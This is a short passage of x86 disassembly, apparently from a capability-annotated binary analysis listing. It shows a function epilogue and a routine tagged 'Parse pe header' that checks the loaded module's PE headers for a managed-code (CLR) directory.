mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1000d31a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000d359
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000d359
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000d359
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000d359
cmp dword [ecx + 0x74], 0xe
jbe 0x1000d359
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret